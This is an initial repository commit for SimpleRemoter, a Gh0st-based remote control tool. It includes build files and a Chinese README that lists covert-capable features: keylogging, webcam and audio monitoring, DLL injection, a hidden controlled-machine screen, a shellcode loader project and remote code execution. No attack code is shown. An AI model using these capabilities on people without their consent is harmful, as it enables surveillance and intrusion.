Init: Migrate SimpleRemoter (Since v1.3.1) to Gitea
This commit is contained in:
17
.gitattributes
vendored
Normal file
17
.gitattributes
vendored
Normal file
@@ -0,0 +1,17 @@
|
||||
# Auto detect text files and perform LF normalization
|
||||
* text=auto
|
||||
|
||||
# Custom for Visual Studio
|
||||
*.cs diff=csharp
|
||||
|
||||
# Standard to msysgit
|
||||
*.doc diff=astextplain
|
||||
*.DOC diff=astextplain
|
||||
*.docx diff=astextplain
|
||||
*.DOCX diff=astextplain
|
||||
*.dot diff=astextplain
|
||||
*.DOT diff=astextplain
|
||||
*.pdf diff=astextplain
|
||||
*.PDF diff=astextplain
|
||||
*.rtf diff=astextplain
|
||||
*.RTF diff=astextplain
|
||||
76
.gitignore
vendored
Normal file
76
.gitignore
vendored
Normal file
@@ -0,0 +1,76 @@
|
||||
# Prerequisites
|
||||
*.d
|
||||
.svn
|
||||
Debug
|
||||
Release
|
||||
|
||||
# Compiled Object files
|
||||
*.slo
|
||||
*.lo
|
||||
*.o
|
||||
*.obj
|
||||
|
||||
# Precompiled Headers
|
||||
*.gch
|
||||
*.pch
|
||||
|
||||
# Compiled Dynamic libraries
|
||||
*.so
|
||||
*.dylib
|
||||
*.dll
|
||||
|
||||
# Fortran module files
|
||||
*.mod
|
||||
*.smod
|
||||
|
||||
# Compiled Static libraries
|
||||
*.lai
|
||||
*.la
|
||||
*.a
|
||||
|
||||
# Executables
|
||||
*.exe
|
||||
*.out
|
||||
*.app
|
||||
|
||||
# =========================
|
||||
# Operating System Files
|
||||
# =========================
|
||||
|
||||
# Windows
|
||||
# =========================
|
||||
|
||||
# Windows thumbnail cache files
|
||||
Thumbs.db
|
||||
ehthumbs.db
|
||||
ehthumbs_vista.db
|
||||
|
||||
# Folder config file
|
||||
Desktop.ini
|
||||
|
||||
# Recycle Bin used on file shares
|
||||
$RECYCLE.BIN/
|
||||
|
||||
# Windows Installer files
|
||||
*.cab
|
||||
*.msi
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# Windows shortcuts
|
||||
*.lnk
|
||||
*.sdf
|
||||
server/2015Remote/2015Remote.aps
|
||||
*.ipch
|
||||
*.aps
|
||||
*.suo
|
||||
server/2015Remote.VC.db
|
||||
server/2015Remote.opensdf
|
||||
*.7z
|
||||
*.ini
|
||||
test/build/
|
||||
|
||||
# Security-sensitive design documents
|
||||
docs/MultiLayerLicense_Design.md
|
||||
docs/MultiLayerLicense_Implementation.md
|
||||
docs/_CodeReference.md
|
||||
97
2019Remote.sln
Normal file
97
2019Remote.sln
Normal file
@@ -0,0 +1,97 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 18
|
||||
VisualStudioVersion = 18.6.11709.129 insiders
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "server\2015Remote\2015Remote_vs2015.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
|
||||
EndProject
|
||||
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{70702583-26EE-47E0-9847-4D58F9449F4C}"
|
||||
ProjectSection(SolutionItems) = preProject
|
||||
Dependencies.md = Dependencies.md
|
||||
history.md = history.md
|
||||
ReadMe.md = ReadMe.md
|
||||
ReadMe_EN.md = ReadMe_EN.md
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SCLoader", "client\SCLoader.vcxproj", "{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "执行代码", "server\执行代码\执行代码.vcxproj", "{A84E55E9-AD0A-41C2-8FB6-56C9BC2AA151}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x64.Build.0 = Debug|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|x86.Build.0 = Debug|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x64.ActiveCfg = Release|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x64.Build.0 = Release|x64
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.ActiveCfg = Release|Win32
|
||||
{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|x86.Build.0 = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x64.Build.0 = Debug|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Debug|x86.Build.0 = Debug|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x64.ActiveCfg = Release|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x64.Build.0 = Release|x64
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.ActiveCfg = Release|Win32
|
||||
{3F756E52-23C2-4EE4-A184-37CF788D50A7}.Release|x86.Build.0 = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x64.Build.0 = Debug|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x64.ActiveCfg = Release|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x64.Build.0 = Release|x64
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|x86.Build.0 = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x64.Build.0 = Debug|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|x86.Build.0 = Debug|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.ActiveCfg = Release|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x64.Build.0 = Release|x64
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.ActiveCfg = Release|Win32
|
||||
{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|x86.Build.0 = Release|Win32
|
||||
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x64.Build.0 = Debug|x64
|
||||
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Debug|x86.Build.0 = Debug|Win32
|
||||
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.ActiveCfg = Release|x64
|
||||
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x64.Build.0 = Release|x64
|
||||
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.ActiveCfg = Release|Win32
|
||||
{E3F3A477-05BA-431D-B002-28EF8BFA6E86}.Release|x86.Build.0 = Release|Win32
|
||||
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x64.Build.0 = Debug|x64
|
||||
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Debug|x86.Build.0 = Debug|Win32
|
||||
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.ActiveCfg = Release|x64
|
||||
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x64.Build.0 = Release|x64
|
||||
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.ActiveCfg = Release|Win32
|
||||
{F33FC38A-E7A0-47D1-9F35-6DFE49C7194A}.Release|x86.Build.0 = Release|Win32
|
||||
{A84E55E9-AD0A-41C2-8FB6-56C9BC2AA151}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{A84E55E9-AD0A-41C2-8FB6-56C9BC2AA151}.Debug|x64.Build.0 = Debug|x64
|
||||
{A84E55E9-AD0A-41C2-8FB6-56C9BC2AA151}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{A84E55E9-AD0A-41C2-8FB6-56C9BC2AA151}.Release|x64.ActiveCfg = Release|x64
|
||||
{A84E55E9-AD0A-41C2-8FB6-56C9BC2AA151}.Release|x64.Build.0 = Release|x64
|
||||
{A84E55E9-AD0A-41C2-8FB6-56C9BC2AA151}.Release|x86.ActiveCfg = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {B1D72004-04EB-4DFF-879C-BCB05C75DFA4}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
21
Dependencies.md
Normal file
21
Dependencies.md
Normal file
@@ -0,0 +1,21 @@
|
||||
# All Dependencies
|
||||
|
||||
## compress
|
||||
|
||||
- [zlib v1.3.2](https://zlib.net)
|
||||
- [zstd v1.5.7](https://github.com/facebook/zstd/tree/v1.5.7)
|
||||
- [x264 v0.164.3194](https://github.com/corecodec/x264)
|
||||
- [libyuv v190](https://chromium.googlesource.com/libyuv/libyuv)
|
||||
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git)
|
||||
- [jsoncpp v1.9.6](https://github.com/open-source-parsers/jsoncpp)
|
||||
- [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
|
||||
- [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
|
||||
- [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
|
||||
|
||||
## *Note*
|
||||
|
||||
The proper operation of the program depends on the above library files.
|
||||
Some libraries are not open source, please contact author for details.
|
||||
|
||||
These libraries are all compiled personally by the author and can be used with confidence.
|
||||
If you use libraries from other sources, there may be compilation risks.
|
||||
656
ReadMe.md
Normal file
656
ReadMe.md
Normal file
@@ -0,0 +1,656 @@
|
||||
# SimpleRemoter
|
||||
|
||||
**[简体中文](./ReadMe.md) | [繁體中文](./ReadMe_TW.md) | [English](./ReadMe_EN.md)**
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/stargazers">
|
||||
<img src="https://img.shields.io/github/stars/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Stars">
|
||||
</a>
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
|
||||
<img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
|
||||
</a>
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
|
||||
<img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
> [!WARNING]
|
||||
> **重要法律声明**
|
||||
>
|
||||
> 本软件**仅供教育目的及授权使用场景**,包括:
|
||||
> - 在您的组织内进行远程 IT 管理
|
||||
> - 经授权的渗透测试和安全研究
|
||||
> - 个人设备管理和技术学习
|
||||
>
|
||||
> **未经授权访问计算机系统属违法行为。** 使用者须对遵守所有适用法律承担全部责任。开发者对任何滥用行为概不负责。
|
||||
|
||||
---
|
||||
|
||||
## 目录
|
||||
|
||||
- [项目简介](#项目简介)
|
||||
- [免责声明](#免责声明)
|
||||
- [功能特性](#功能特性)
|
||||
- [技术亮点](#技术亮点)
|
||||
- [系统架构](#系统架构)
|
||||
- [快速开始](#快速开始)
|
||||
- [用户文档](#用户文档)
|
||||
- [客户端支持](#客户端支持)
|
||||
- [更新日志](#更新日志)
|
||||
- [相关项目](#相关项目)
|
||||
- [联系方式](#联系方式)
|
||||
|
||||
---
|
||||
|
||||
## 项目简介
|
||||
|
||||
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux** 双平台的企业级远程管理工具。
|
||||
|
||||
### 核心能力
|
||||
|
||||
| 类别 | 功能 |
|
||||
|------|------|
|
||||
| **远程桌面** | 实时屏幕控制、多显示器支持、H.264 编码、自适应质量 |
|
||||
| **文件管理** | 双向传输、断点续传、C2C 传输、SHA-256 校验 |
|
||||
| **终端管理** | 交互式 Shell、ConPTY/PTY 支持、现代 Web 终端 |
|
||||
| **系统管理** | 进程/服务/窗口管理、注册表浏览、会话控制 |
|
||||
| **媒体采集** | 摄像头监控、音频监听、键盘记录 |
|
||||
| **网络功能** | SOCKS 代理、FRP 穿透、端口映射 |
|
||||
|
||||
### 适用场景
|
||||
|
||||
- **企业 IT 运维**:批量管理内网设备,远程故障排查
|
||||
- **远程办公**:安全访问办公电脑,文件同步传输
|
||||
- **安全研究**:渗透测试、红队演练、安全审计
|
||||
- **技术学习**:网络编程、IOCP 模型、加密传输实践
|
||||
|
||||
**原始来源:** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期:** 2019.1.1
|
||||
|
||||
[](https://star-history.com/#yuanyuanxiang/SimpleRemoter&Date)
|
||||
|
||||
---
|
||||
|
||||
## 免责声明
|
||||
|
||||
**请在使用本软件前仔细阅读以下声明:**
|
||||
|
||||
1. **合法用途**:本项目仅供合法的技术研究、学习交流和授权的远程管理使用。严禁将本软件用于未经授权访问他人计算机系统、窃取数据、监控他人隐私等任何违法行为。
|
||||
|
||||
2. **使用者责任**:使用者必须遵守所在国家/地区的法律法规。因使用本软件而产生的任何法律责任,由使用者自行承担。
|
||||
|
||||
3. **无担保声明**:本软件按"现状"提供,不附带任何明示或暗示的担保,包括但不限于适销性、特定用途适用性的担保。
|
||||
|
||||
4. **免责条款**:开发者不对因使用、误用或无法使用本软件而造成的任何直接、间接、偶然、特殊或后果性损害承担责任。
|
||||
|
||||
5. **版权声明**:本项目采用 MIT 协议开源,允许自由使用、修改和分发,但必须保留原始版权声明。
|
||||
|
||||
**继续使用本软件即表示您已阅读、理解并同意上述所有条款。**
|
||||
|
||||
> [!IMPORTANT]
|
||||
> **网络连接与隐私声明**
|
||||
>
|
||||
> 主控程序(服务端)会根据授权状态与授权服务器进行网络通信:
|
||||
>
|
||||
> | 版本类型 | 连接行为 |
|
||||
> |---------|---------|
|
||||
> | 试用版本 | 维持与授权服务器的持续连接 |
|
||||
> | V1/V2 授权版本 | 启动时连接验证,通过后断开 |
|
||||
> | V2 离线授权版本 | 无需连接授权服务器 |
|
||||
>
|
||||
> 除获得离线授权外,主控程序会与授权服务器进行必要的数据交互(如检测破解行为、验证授权有效性)。
|
||||
>
|
||||
> **使用本软件即表示您接受主控程序与授权服务器之间的数据传输。如您不同意,请勿使用本软件。**
|
||||
|
||||
---
|
||||
|
||||
## 功能特性
|
||||
|
||||
### 远程桌面
|
||||
|
||||

|
||||
|
||||
- **多种截图方式**:GDI(兼容性强)、DXGI(高性能)、虚拟桌面(后台运行)
|
||||
- **智能压缩算法**:
|
||||
- DIFF 差分算法 - SSE2 优化,仅传输变化区域
|
||||
- RGB565 算法 - 节省 50% 带宽
|
||||
- H.264 编码 - 视频级压缩,适合高帧率场景
|
||||
- 灰度模式 - 极低带宽消耗
|
||||
- **自适应质量**:根据网络 RTT 自动调整帧率(5-30 FPS)、分辨率和压缩算法
|
||||
- **多显示器**:支持多屏切换和多屏上墙显示
|
||||
- **隐私屏幕**:被控端屏幕可隐藏,支持锁屏状态下控制
|
||||
- **文件拖拽**:Ctrl+C/V 跨设备复制粘贴文件
|
||||
- **Web 远程桌面**:通过浏览器访问远程桌面,支持手机/平板([配置指南](./docs/WebHTTPS.md))
|
||||
|
||||
### 文件管理
|
||||
|
||||

|
||||
|
||||
- **V2 传输协议**:全新设计,支持大文件(>4GB)
|
||||
- **断点续传**:网络中断后自动恢复,状态持久化
|
||||
- **C2C 传输**:客户端之间直接传输,无需经过主控
|
||||
- **完整性校验**:SHA-256 哈希验证,确保文件完整
|
||||
- **批量操作**:支持文件搜索、压缩、批量传输
|
||||
|
||||
### 终端管理
|
||||
|
||||

|
||||
|
||||
- **交互式 Shell**:完整的命令行体验,支持 Tab 补全
|
||||
- **ConPTY 技术**:Windows 10+ 原生伪终端支持
|
||||
- **现代 Web 终端**:基于 WebView2 + xterm.js(v1.2.7+)
|
||||
- **终端尺寸调整**:自适应窗口大小
|
||||
|
||||
### 进程与窗口管理
|
||||
|
||||
| 进程管理 | 窗口管理 |
|
||||
|---------|---------|
|
||||
|  |  |
|
||||
|
||||
- **进程管理**:查看进程列表、CPU/内存占用、启动/终止进程
|
||||
- **代码注入**:向目标进程注入 DLL(需管理员权限)
|
||||
- **窗口控制**:最大化/最小化/隐藏/关闭窗口
|
||||
|
||||
### 媒体功能
|
||||
|
||||
| 视频管理 | 语音管理 |
|
||||
|---------|---------|
|
||||
|  |  |
|
||||
|
||||
- **摄像头监控**:实时视频流,支持分辨率调整
|
||||
- **音频监听**:远程声音采集,支持双向语音
|
||||
- **键盘记录**:在线/离线记录模式
|
||||
|
||||
### 其他功能
|
||||
|
||||
- **服务管理**:查看和控制 Windows 服务
|
||||
- **注册表浏览**:只读方式浏览注册表内容
|
||||
- **会话控制**:远程注销/关机/重启
|
||||
- **SOCKS 代理**:通过客户端建立代理隧道
|
||||
- **FRP 穿透**:内置 FRP 支持,轻松穿透内网
|
||||
- **代码执行**:远程执行 DLL,支持热更新
|
||||
|
||||
---
|
||||
|
||||
## 技术亮点
|
||||
|
||||
### 高性能网络架构
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────┐
|
||||
│ IOCP 通信模型 │
|
||||
├─────────────────────────────────────────────────────────┤
|
||||
│ • I/O 完成端口:Windows 最高效的异步 I/O 模型 │
|
||||
│ • 单主控支持 10,000+ 并发连接 │
|
||||
│ • 支持 TCP / UDP / KCP 三种传输协议 │
|
||||
│ • 自动分块处理大数据包(最大 128KB 发送缓冲) │
|
||||
└─────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### 自适应质量控制
|
||||
|
||||
基于 RTT(Round-Trip Time)的智能质量调整系统:
|
||||
|
||||
| RTT 延迟 | 质量等级 | 帧率 | 分辨率 | 压缩算法 | 适用场景 |
|
||||
|---------|---------|------|--------|---------|---------|
|
||||
| < 30ms | Ultra | 25 FPS | 原始 | DIFF | 局域网办公 |
|
||||
| 30-80ms | High | 20 FPS | 原始 | RGB565 | 一般办公 |
|
||||
| 80-150ms | Good | 20 FPS | ≤1080p | H.264 | 跨网/视频 |
|
||||
| 150-250ms | Medium | 15 FPS | ≤900p | H.264 | 跨网办公 |
|
||||
| 250-400ms | Low | 12 FPS | ≤720p | H.264 | 较差网络 |
|
||||
| > 400ms | Minimal | 8 FPS | ≤540p | H.264 | 极差网络 |
|
||||
|
||||
- **零额外开销**:复用心跳包计算 RTT
|
||||
- **快速降级**:2 次检测即触发,响应网络波动
|
||||
- **谨慎升级**:5 次稳定后才提升质量
|
||||
- **冷却机制**:防止频繁切换
|
||||
|
||||
### V2 文件传输协议
|
||||
|
||||
```cpp
|
||||
// 77 字节协议头 + 文件名 + 数据载荷
|
||||
struct FileChunkPacketV2 {
|
||||
uint8_t cmd; // COMMAND_SEND_FILE_V2 = 85
|
||||
uint64_t transferID; // 传输会话 ID
|
||||
uint64_t srcClientID; // 源客户端 ID (0=主控端)
|
||||
uint64_t dstClientID; // 目标客户端 ID (0=主控端, C2C)
|
||||
uint32_t fileIndex; // 文件编号 (0-based)
|
||||
uint32_t totalFiles; // 总文件数
|
||||
uint64_t fileSize; // 文件大小(支持 >4GB)
|
||||
uint64_t offset; // 当前块偏移
|
||||
uint64_t dataLength; // 本块数据长度
|
||||
uint64_t nameLength; // 文件名长度
|
||||
uint16_t flags; // 标志位 (FFV2_LAST_CHUNK 等)
|
||||
uint16_t checksum; // CRC16 校验(可选)
|
||||
uint8_t reserved[8]; // 预留扩展
|
||||
// char filename[nameLength]; // UTF-8 相对路径
|
||||
// uint8_t data[dataLength]; // 文件数据
|
||||
};
|
||||
```
|
||||
|
||||
**特性**:
|
||||
- 大文件支持(uint64_t 突破 4GB 限制)
|
||||
- 断点续传(状态持久化到 `%TEMP%\FileTransfer\`)
|
||||
- SHA-256 完整性校验
|
||||
- C2C 直传(客户端到客户端)
|
||||
- V1/V2 协议兼容
|
||||
|
||||
### 屏幕传输优化
|
||||
|
||||
- **SSE2 指令集**:像素差分计算硬件加速
|
||||
- **多线程并行**:线程池分块处理屏幕数据
|
||||
- **滚动检测**:识别滚动场景,减少 50-80% 带宽
|
||||
- **H.264 编码**:基于 x264,GOP 控制,视频级压缩
|
||||
|
||||
### 安全机制
|
||||
|
||||
| 层级 | 措施 |
|
||||
|------|------|
|
||||
| **传输加密** | AES-256 数据加密,可配置 IV |
|
||||
| **身份验证** | 签名验证 + HMAC 认证 |
|
||||
| **授权控制** | 序列号绑定(IP/域名),多级授权 |
|
||||
| **文件校验** | SHA-256 完整性验证 |
|
||||
| **会话隔离** | Session 0 独立处理 |
|
||||
|
||||
### 依赖库
|
||||
|
||||
| 库 | 版本 | 用途 |
|
||||
|----|------|------|
|
||||
| zlib | 1.3.1 | 通用压缩 |
|
||||
| zstd | 1.5.7 | 高速压缩 |
|
||||
| x264 | 0.164 | H.264 编码 |
|
||||
| libyuv | 190 | YUV 转换 |
|
||||
| HPSocket | 6.0.3 | 网络 I/O |
|
||||
| jsoncpp | 1.9.6 | JSON 解析 |
|
||||
|
||||
---
|
||||
|
||||
## 系统架构
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
||||
│ 多层授权架构 (Multi-Layer Authorization) │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ │
|
||||
│ ┌─────────────────────┐ │
|
||||
│ │ 超级管理员 │ │
|
||||
│ │ (授权服务器) │ │
|
||||
│ │ Super Admin │ │
|
||||
│ └─────────┬───────────┘ │
|
||||
│ │ │
|
||||
│ ┌──────────────┼──────────────┐ │
|
||||
│ │ V2 授权 │ V2 授权 │ V2 授权 │
|
||||
│ │ (ECDSA) │ (ECDSA) │ (ECDSA) │
|
||||
│ ▼ ▼ ▼ │
|
||||
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
|
||||
│ │ 第一层 A │ │ 第一层 B │ │ 第一层 C │ ◄── 独立运营 │
|
||||
│ │ Layer-1 A │ │ Layer-1 B │ │ Layer-1 C │ 完全隔离 │
|
||||
│ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │
|
||||
│ │ │ │ │
|
||||
│ ┌────────┴────────┐ │ ┌──────┴──────┐ │
|
||||
│ │ V1 授权 │ │ │ V1 授权 │ │
|
||||
│ ▼ ▼ ▼ ▼ ▼ │
|
||||
│ ┌──────────┐ ┌──────────┐ ... ┌──────────┐ ┌──────────┐ │
|
||||
│ │ 下级 A1 │ │ 下级 A2 │ │ 下级 C1 │ │ 下级 C2 │ │
|
||||
│ │ Master │ │ Master │ │ Master │ │ Master │ │
|
||||
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
|
||||
│ │ │ │ │ │
|
||||
│ ▼ ▼ ▼ ▼ │
|
||||
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
|
||||
│ │ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │ │
|
||||
│ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │
|
||||
│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │
|
||||
│ │
|
||||
├─────────────────────────────────────────────────────────────────────────────┤
|
||||
│ 授权类型 验证方式 特点 │
|
||||
│ ───────────────────────────────────────────────────────────────────────── │
|
||||
│ V2 授权 ECDSA P-256 签名 支持离线验证,下级连接数限制 │
|
||||
│ V1 授权 HMAC + 在线验证 连接上级服务器验证 │
|
||||
│ 试用版 在线验证 功能受限,需保持连接 │
|
||||
└─────────────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
### 架构优势
|
||||
|
||||
| 特性 | 说明 |
|
||||
|------|------|
|
||||
| **层级控制** | 超级用户可管理任意主控程序,支持无限层级 |
|
||||
| **完全隔离** | 不同第一层用户的授权、数据、客户端完全隔离 |
|
||||
| **独立运营** | 第一层用户可独立定价、发放授权,打造专属品牌 |
|
||||
| **水平扩展** | 单 Master 支持 10,000+ 客户端,多层架构可达百万级 |
|
||||
| **离线支持** | V2 授权支持完全离线验证,无需依赖上游服务 |
|
||||
|
||||
### 主控程序(Server)
|
||||
|
||||
主控程序 **YAMA.exe** 提供图形化管理界面:
|
||||
|
||||

|
||||
|
||||
- 基于 IOCP 的高性能服务端
|
||||
- 客户端分组管理
|
||||
- 实时状态监控(RTT、地理位置、活动窗口)
|
||||
- 一键生成客户端
|
||||
|
||||
### 受控程序(Client)
|
||||
|
||||

|
||||
|
||||
**运行形式**:
|
||||
|
||||
| 类型 | 说明 |
|
||||
|------|------|
|
||||
| `ghost.exe` | 独立可执行文件,无外部依赖 |
|
||||
| `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL |
|
||||
| Windows 服务 | 后台运行,支持锁屏控制 |
|
||||
| Linux 客户端 | 跨平台支持(v1.2.5+) |
|
||||
|
||||
---
|
||||
|
||||
## 快速开始
|
||||
|
||||
### 5 分钟快速体验
|
||||
|
||||
无需编译,下载即用:
|
||||
|
||||
1. **下载发布版** - 从 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
|
||||
2. **启动主控** - 运行 `YAMA.exe`,输入授权信息(见下方试用口令)
|
||||
3. **生成客户端** - 点击工具栏「生成」按钮,配置服务器 IP 和端口
|
||||
4. **部署客户端** - 将生成的客户端复制到目标机器并运行
|
||||
5. **开始控制** - 客户端上线后,双击即可打开远程桌面
|
||||
|
||||
> [!TIP]
|
||||
> 首次测试建议在同一台机器上运行主控和客户端,使用 `127.0.0.1` 作为服务器地址。
|
||||
|
||||
### 编译要求
|
||||
|
||||
- **操作系统**:Windows 10/11 或 Windows Server 2016+
|
||||
- **开发环境**:Visual Studio 2019 / 2022 / 2026
|
||||
- **SDK**:Windows 10 SDK (10.0.19041.0+)
|
||||
|
||||
### 编译步骤
|
||||
